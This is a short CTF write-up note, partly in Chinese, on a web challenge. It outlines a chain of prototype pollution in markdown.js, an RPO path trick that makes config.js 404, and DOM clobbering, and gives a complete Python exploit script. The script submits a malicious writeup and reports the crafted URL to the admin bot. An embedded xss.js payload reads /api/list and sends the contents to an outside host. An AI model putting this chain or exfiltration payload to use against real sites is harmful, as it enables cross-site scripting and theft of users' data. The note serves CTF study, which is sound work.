# CTF note * site : http://ctf-note.splitline.tw:9527/login * 感覺是 XSS 應該 * 助教解 1. prototype pollution markdown.js --> XSS 2. RPO attack --> make config.js 404 3. DOM Clobbering --> create a nyanCat plugin yourself ``` #!/usr/bin/env python3 import requests import secrets base_url = "http://ctf-note.splitline.tw:9527" xss_script = "http://lab.splitl.in:8000/xss.js" """ // xss.js fetch('/api/list').then(r=>r.text()) .then(r=>location = "http://lab.splitl.in:8000/meow?c="+r) """ req = requests.session() req.post(f"{base_url}/login", data={ "username": secrets.token_urlsafe(32), "password": secrets.token_urlsafe(32), }) res = req.post(f"{base_url}/api/add", json={ "contestName": "PoC", "writeups": [ { "category": "Web", "challenge": "xss", "content": "owo?" }, { "category": "__proto__", # prorotype pollution: markdown.js attributes "challenge": f""" ><iframe name=CONFIG srcdoc=" <iframe srcdoc='<a id=nyanCat href={xss_script}>test</a>' id=CONFIG name=plugins> "></iframe><""", # DOM clobbering: `CONFIG.plugins.nyanCat` "content": "whatever" } ]}) print(res.content) res = res.json() print("[+] session =", req.cookies['session']) malicious_url = f"{base_url}/meow/..%2f#{res['uuid']}" # make `config.js` 404 print("[+] malicious url =", malicious_url) res = req.post(f"{base_url}/report", data={"url": malicious_url}) print(res.text) ``` ###### tags: `unsolved`